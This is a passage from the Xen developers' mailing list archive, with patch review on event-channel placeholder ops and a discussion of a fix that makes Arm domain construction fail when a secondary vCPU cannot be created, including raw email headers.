conditional. Assuming the evtchn_port_ops_none block can move up in the file,
it could be put in an #else there.

> @@ -1323,9 +1326,13 @@ int evtchn_reset(struct domain *d, bool resuming)
>          rc = -EAGAIN;
>      else if ( d->evtchn_fifo )
>      {
> -        /* Switching back to 2-level ABI. */
>          evtchn_fifo_destroy(d);
> -        evtchn_2l_init(d);
> +
> +        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
> +            /* Switching back to 2-level ABI. */
> +            evtchn_2l_init(d);
> +        else
> +            evtchn_none_init(d);
>      }

Do we really need to call evtchn_none_init() here when FIFO is available?
This is connected to ...

> @@ -1622,9 +1629,45 @@ void evtchn_check_pollers(struct domain *d, unsigned int port)
>      }
>  }
>  
> +#ifndef CONFIG_HAS_SHARED_INFO
> +/*
> + * Placeholder ops for domains with neither a shared_info page nor (yet)
> + * a FIFO control block.  None of these are ever reachable in practice;
> + * they only exist to keep d->evtchn_port_ops non-NULL.
> + */
> +static void cf_check evtchn_none_set_pending(
> +    struct vcpu *v, struct evtchn *evtchn) {}
> +static void cf_check evtchn_none_noop(
> +    struct domain *d, struct evtchn *evtchn) {}
> +static bool cf_check evtchn_none_false(
> +    const struct domain *d, const struct evtchn *evtchn) { return false; }
> +static void cf_check evtchn_none_print_state(
> +    struct domain *d, const struct evtchn *evtchn) {}
> +
> +static const struct evtchn_port_ops evtchn_port_ops_none = {
> +    .set_pending   = evtchn_none_set_pending,
> +    .clear_pending = evtchn_none_noop,
> +    .unmask        = evtchn_none_noop,
> +    .is_pending    = evtchn_none_false,
> +    .is_masked     = evtchn_none_false,
> +    .print_state   = evtchn_none_print_state,
> +};
> +
> +void evtchn_none_init(struct domain *d)
> +{
> +    d->evtchn_port_ops = &evtchn_port_ops_none;
> +}
> +#endif /* !CONFIG_HAS_SHARED_INFO */

... we wondering whether any of this is needed when FIFO is available. In
v4 all that was noticed was that SHARED_INFO=n together with EVTCHN_FIFO=n
is a problem. And having fewer cf_check functions in the build is always a
win (I think).

As to the comment saying "None of these are ever reachable in practice":
What do you base this on? In the SHARED_INFO=n + EVTCHN_FIFO=n case they
look reachable to me.

>  int evtchn_init(struct domain *d, unsigned int max_port)
>  {
> -    evtchn_2l_init(d);
> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
> +        evtchn_2l_init(d);
> +    else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
> +        evtchn_fifo_init_ops(d);
> +    else
> +        evtchn_none_init(d);

Note how here you actually call evtchn_none_init() only in the one special
case. Imo this model should be followed also in evtchn_reset().

> --- a/xen/common/event_channel.h
> +++ b/xen/common/event_channel.h
> @@ -55,6 +55,7 @@ struct evtchn_expand_array;
>  int evtchn_fifo_init_control(struct evtchn_init_control *init_control);
>  int evtchn_fifo_expand_array(const struct evtchn_expand_array *expand_array);
>  void evtchn_fifo_destroy(struct domain *d);
> +void evtchn_fifo_init_ops(struct domain *d);
>  #else
>  static inline int evtchn_fifo_init_control(struct evtchn_init_control *init_control)
>  {
> @@ -68,6 +69,7 @@ static inline void evtchn_fifo_destroy(struct domain *d)
>  {
>      return;
>  }
> +static inline void evtchn_fifo_init_ops(struct domain *d) {}

Why would this be needed? You (again) only need a declaration, just that it
needs to live outside of the #ifdef.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:21:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:21:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356868.1611389 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQKm-0000v3-Gr; Wed, 08 Jul 2026 11:20:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356868.1611389; Wed, 08 Jul 2026 11:20:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQKm-0000uw-DV; Wed, 08 Jul 2026 11:20:56 +0000
Received: by outflank-mailman (input) for mailman id 1356868;
 Wed, 08 Jul 2026 11:20:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whQKk-0000um-Tg
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:20:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQKk-00GyKM-1x
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:20:54 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e328c-e002-0a2a0a5209dd-0a2a4501af60-22
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:20:53 +0200
Received: from [52.101.53.0]
 (helo=BL0PR03CU003.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3294-400f-0a2a45010019-346535006099-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:20:53 +0200
Received: from BL1PR13CA0157.namprd13.prod.outlook.com (2603:10b6:208:2bd::12)
 by MW4PR12MB7483.namprd12.prod.outlook.com (2603:10b6:303:212::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 11:20:47 +0000
Received: from MN1PEPF0000ECD5.namprd02.prod.outlook.com
 (2603:10b6:208:2bd:cafe::58) by BL1PR13CA0157.outlook.office365.com
 (2603:10b6:208:2bd::12) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.3 via Frontend Transport; Wed, 8
 Jul 2026 11:20:47 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 MN1PEPF0000ECD5.mail.protection.outlook.com (10.167.242.133) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 11:20:47 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:20:36 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 06:20:34 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ClH6vE4MAPsiupZSP+y+Bjj6cSMDu91z6B6r2KpHSD9LFBLAy02ZOIegJYE89VQHZlcRLjEImO7wVF2momk+V8o+NQtnIJOLC9KK8Sy54dUgNL8gTb3uIx0vhoHXA42RQtqcchfKuREB3sq/1D1l8tUbPgrz9cIM7fJR1wJWJzdqICJLLaDipUTmydgOsrJKgryLFGdA1hyZKTbiqwe64KJIKmdCxiWQ97qB1y3trl4PTMqdzGokyckQzmWTlIajFAIUE/TcHkSXQXGS/qhDaA2gHEvIZ/3lr/zFQLnvBny/Pf1aGDnxCSNRdixAkubifufIY5ypvgbTlnV1DNzFGQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XykjLd66eOHvWRv1MmSOBNPvtRRHmI702hyMzVtzvlk=;
 b=rwpfKzIwWJEllkQT5TR59pjtfzLzMk2DvUvtFc/dZSAoQnpqbvHCTXtHoTSdOR9du3XZh3VgBTI/9DkmC9hfMI9VuW+ybwkI4P5GYky6ap3KyRfyAeUI5+pVcyu/Z6Oih5ygcBP7yAqerTduceJ/3dR6pp7Dzs10Huu34zeFSwXpYDVQYpImH8bkIWdGnQN4K26hEpjmBbpq/V2xJn9v4yR8wknSIJs1V+8/ajTZ260LvKUj74/w9/SpHtcjfugZgQDFjLMEOhMKJKmTOSVyc2y3MhM1ahfOHmwtzXNIK8GaxmiyBKg5X4rwx+PYJVnuELHiCBOie7SSroNXMSP6hA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XykjLd66eOHvWRv1MmSOBNPvtRRHmI702hyMzVtzvlk=;
 b=GRRiEi3lPpMBUKlDMT8lYYArNfuLuzVfhysa9KhK7fgnrOS4veY15V/2Rhh4d/0yr61CoYhs1FnIW+3ay6TweZg3h4iU5/EvZJ3Tl278FlNlYz0lvhUci5VI25LxvKXArNdGDeFpPQYnR9fmSXnN9QEal/7rTw6I4q9LyAtHalI=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <2eabc87d-5694-4874-b204-2fe60d5368bc@amd.com>
Date: Wed, 8 Jul 2026 13:20:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: "Halder, Ayan Kumar" <ayankuma@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
 <197f5208-b9ca-424d-a7e6-0b872e6511f1@amd.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <197f5208-b9ca-424d-a7e6-0b872e6511f1@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: MN1PEPF0000ECD5:EE_|MW4PR12MB7483:EE_
X-MS-Office365-Filtering-Correlation-Id: 1a106dd4-3234-4440-5ffb-08dedce2f56a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|23010399003|376014|4143699003|11063799006|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	USPoayNpVE5maljdemSkJTFDLgiEgxYBVvugp3V6ZUa0ohBr3zS/NaXWQf7cFOqmuaF/V7RkXaz1sx/Wc/2vDwm03TBT2UOfzubVg6JtAt3EQ2ZwtLL2uQUjDWtF0Y5kmnlvG3FfRscKIEPBDznUFHroqWcrZr4WPSeWr2NnqsYVhfvspH8wReNJpDiH2YU/OUXLdXLwLXoD9QeDewkoYOooWb6d4ElieNPTrzf3lmLdnOr21rLtZsYGPe6sh6JPskOJBMaUB+CX+SbXX4TYW/NclQmygQfeJjpgDzguELQJMIMKYKuOyHDEo+DdkIJJShC72ca1SVAf5O3FYGsTZpNE7TGgfgGklQJ5lfdnEXeNw8ijMPgBDqT57ZWsN6vlthIT70q6hid0pGFbmCwZRHVMGweFEKvG6/HwkB/gsuftmP3dg+AeOImvlIaR94dYSb9YUjfQ258ynvScJBz/oB4IjTbHDBb+YTRltCn2cFHBcmhYoo5IgvjwYPdFmQoS+RedR2BWrg9I3RQhaOOc+3LhdfJLVDhqq9wWeRkhE/Mrn4AVll89OUopY/VNd4naqWXryqvXRUzSO4NQoqD6wHpmyCdoyj+OmfPodn+Ws1rmndXdxTf+dTSnYL/+xR+38y3j0vxz3RPXu8OhpQQvG377FV2XzzXpo5XE3KlqRu0XQU9ooG15OxlZJMjQ9FflwlETdfcLCniHLnQDb3VN5Q==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(23010399003)(376014)(4143699003)(11063799006)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	xzD5bVq7Z/whr4GGkKDdsBocRIvi4V2VgaqbM/pGYaZoRWesU1GSAwZHBbYF8fYr+Ft41SePeXgZBLDkd7oK+3hUVfaDgZJD+tVG6oEu2PzKNuYj65outIimWiqZp4e/AgKQiRvHh/kfJM+o8xPW6JLxd6+ljBodTgIUSefcIZzEb32qYo6w8BjqnBfry7+c5ncdvLc5I1k+p/QFgnqhMPp1Cf9j1urMBZwmDS4os6HFFrUMrmiJpxtjEgauWeU5hOIDNrJqkkpr/U+xs3qUZn9NVXZz7Ci2btHDJZr0HUGjAEY6sf5YtnfZASmnJcPGNHBoq2TcboT6Bqutebq4MzBIqF3KEEG3OkWZivAxq1wfv/M0icWbeUkR5h2EjsR/mwt+PoU0UgEXyRCjIO/ZK7ySS1n6cZlykzF7v1cmi0xIEsDDKrCWZVRHEaPxFPPM
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:20:47.0872
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 1a106dd4-3234-4440-5ffb-08dedce2f56a
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	MN1PEPF0000ECD5.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR12MB7483
X-purgate-ID: tlsNG-d62444/1783509653-D14DD1E0-FD334FF2/0/0
X-purgate-type: clean
X-purgate-size: 2775



On 08-Jul-26 11:06, Halder, Ayan Kumar wrote:
> Hi MIchal,
> 
> Nice catch. Few questions.
> 
> On 08/07/2026 08:49, Michal Orzel wrote:
>> construct_domain() creates the secondary vCPUs in a loop, but on a
>> vcpu_create() failure it only prints a message and breaks out of the
>> loop returning success. As a result the domain can be constructed
>> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
>> below max_vcpus.
>>
>> When the guest probes the redistributor of a vCPU that was never created,
> Shouldn't the guest check how many vCPUs were created and probe the ones 
> that were created ?
See below about DTB.

>> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
>> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
>>
>> Return an error instead of breaking out of the loop. Both callers
>> (construct_domU() and construct_hwdom()) already propagate a negative
>> return value and fail domain construction, which is the correct
>> behaviour: a domain that cannot provide the requested number of vCPUs
>> should not be brought up.
> 
> I see your reasoning.
> 
> Alternatively it can be a design choice. Xen does not commit to create 
> the max_vcpus that was requested.
Everything can be a design choice but this one wouldn't be wise, would it?
All in all, we (Arm maintainers) aim at following the contract to fail as soon
as possible if the user request cannot be satisfied.

> 
> If Xen is unable to create any vCPU, it should abort domain creation.
> 
> If Xen creates lesser number of vCPUs than requested by max_vcpus, it 
> can just print a warning and carry on.
No. Xen creates domain DTB before creating vCPUs, so Xen advertises something
that is not true. Here, Xen would create a DTB with e.g. 2 vCPUs while only 1
was created.

~Michal

> 
> In that case it should be the guest's responsibility to check the number 
> of CPUs that it has.
> 
> - Ayan
> 
>>
>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
>> ---
>>   xen/arch/arm/domain_build.c | 2 +-
>>   1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
>> index 550617f152bb..b46574fd32aa 100644
>> --- a/xen/arch/arm/domain_build.c
>> +++ b/xen/arch/arm/domain_build.c
>> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>>           if ( vcpu_create(d, i) == NULL )
>>           {
>>               printk("Failed to allocate d%dv%d\n", d->domain_id, i);
>> -            break;
>> +            return -EINVAL;
>>           }
>>   
>>           if ( is_64bit_domain(d) )



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:27:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:27:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356878.1611399 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQRG-0001jr-68; Wed, 08 Jul 2026 11:27:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356878.1611399; Wed, 08 Jul 2026 11:27:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQRG-0001ji-31; Wed, 08 Jul 2026 11:27:38 +0000
Received: by outflank-mailman (input) for mailman id 1356878;
 Wed, 08 Jul 2026 11:27:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1whQRE-0001in-VE
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:27:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQRD-00HKEf-VU
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:27:35 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4e3427-5cb7-0a2a0a5109dd-0a2a4506e096-0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:27:35 +0200
Received: from [40.107.201.71]
 (helo=CH4PR04CU002.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4e3426-08de-0a2a45060019-286bc947206f-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:27:35 +0200
Received: from PH7P221CA0012.NAMP221.PROD.OUTLOOK.COM (2603:10b6:510:32a::29)
 by DM4PR12MB6011.namprd12.prod.outlook.com (2603:10b6:8:6b::14) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 11:27:29 +0000
Received: from SN1PEPF00036F42.namprd05.prod.outlook.com
 (2603:10b6:510:32a:cafe::f) by PH7P221CA0012.outlook.office365.com
 (2603:10b6:510:32a::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 11:27:29 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SN1PEPF00036F42.mail.protection.outlook.com (10.167.248.26) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 11:27:29 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:27:27 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 06:27:26 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FqWbRviiqOTsA04D7GBmUU0+93ZZdoMMgemiBkjVwK3rvVpAKqg2He1oqZv/ymqKMgOAVJgrV7m5bnKgJnZ+9QcDrp1oBlRVPYUoF8MI2wy0CYRFvsSi/LTbLmCjzocWIHnycGaaiE+njHZc2vhKBLlqPNvdKAdkIJkXgkrbwn04ApWdVacUjrdxg+tXXxRGu21PO+QITRlFiBwEyfrbAnbKpd0zIsW6fWbrB4LYbHQWlUmh2MGM47izRklIMTK4OqWcqYIExaY8TvEB3/eUwdCB0DRsIBKVDos4a/UbfLUdyqro0WXuhVB1rVX2sjs/SBYdhDD/rKks3gTWQlHOtA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=qWKvp6v9j1JJh1sIv5hHmLnu/UMxftDadfOcIhnV9sE=;
 b=oiPnuFQcQh0md0Gupkju2iDKnYmljOnnLlL0ZjA5KDqo0/FhTyrhTsbSjESLHmI9PxNw2DoTE+AiwFvPB6LTC7D4+8netZJdWovAQ3xA77ixid2Fy0EC72vZyCXGoprnPiMeiljt5Kac4uvAkEUyF172szBuEqOHoylmgv6ZhX7lkHwHsjR2nYrdxL1FLdqjzCmJeiIkJsFOhVTQurQ2L9uhOjdKcSH8Q7GMvoMs8mnF7yoUMdq7xrWH97FoBF+l8OrUWTlmxQEYkTEU0A0TTWgGFM7KynW7xdqrrkGpEnfnZLprN1hUSPzhfJA4vkiHlvthmXEqlSHZ+eoCrtFZYA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=qWKvp6v9j1JJh1sIv5hHmLnu/UMxftDadfOcIhnV9sE=;
 b=oI9We4YyWP406DAbvuO/DofcFVPC28BrdAnE7gyTXxK/+fbTKjSvRn1Zf5spvzEvtvyNznI4MuIpfC4pk+Cw3G1QmmkHLlHFI0xzSexZNBJGs2Y37dOFmVvt2k9EKH+91c7xG3LNNZsUn2c5OdUGFRgx/dniLoSB3vjVFqCEtKg=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <93dabc8b-7012-4662-b50c-d47b0b6ad260@amd.com>
Date: Wed, 8 Jul 2026 12:27:25 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: "Orzel, Michal" <michal.orzel@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
 <197f5208-b9ca-424d-a7e6-0b872e6511f1@amd.com>
 <2eabc87d-5694-4874-b204-2fe60d5368bc@amd.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <2eabc87d-5694-4874-b204-2fe60d5368bc@amd.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SN1PEPF00036F42:EE_|DM4PR12MB6011:EE_
X-MS-Office365-Filtering-Correlation-Id: ce7bcaec-989c-4ff8-acbe-08dedce3e51b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|23010399003|82310400026|36860700016|18002099003|22082099003|11063799006|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	IHajuGv/7L+VrbmwhpKvcsVcaQriiC7RqtKSOykrtrgA2WFLRcgQTUEB0JSu3kwqiG4twwMeqAvT3eYWPgv/6sLsI2ESOR5kTNHJ8RWDxeSXXwreQ9TBx0qZqkks31OKk/H6yiXZ/dQueU82S3PVb4JMMDYFlBZrmA2+urDanrmGPTHyqQu8XCxRPQQGj32VN8tlbS4iiXmRK4e4W7ebf0TMyBTbxumqyc9V0GRnHfrvxTYnog0CXpwrM9g1MgHY/uu0udOYKC2b155NIUmVFQ66AJKb53nkXWm4Osp5sEd1eLdSW7N2fC/C8agJ9Cj6jSUpI4gCUw3Vl2n69zWpD8AhnvmWnt85oQgzJNXZhpjho32OqqtBA06NY7UIdOO3YpkT+kdiyPJ57P3LuE7yCvb8X3Xd2U3bkpd3SAiGCPQdzIbWRLkx0vS6OqYMPx24Q6euvk1/R4dJKfENcawF4eokZ3HnrmIuTcMe4vA96a2o8W9Vrji4PAe+OyZY+c/4v2zcyPDA5zYq6D7SqxYXRc52SkmCC4vk/7P41hS+M9QGaGiy6LKHI88WwZ0b1POPrwr7sFmmLi2bfaYRbpn5NRgjxLM12d50Bcin9/dF9DNEGkPWAt8uwkQWsGex1O0CsQzfQ7igAmSnmkdlqwz32G3H7p1M3vUDX9bNfF+lnCs1E3UNRWBvPw1GBquh3RckB5SjEQyyJGblQ31IAIyp8A==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(82310400026)(36860700016)(18002099003)(22082099003)(11063799006)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
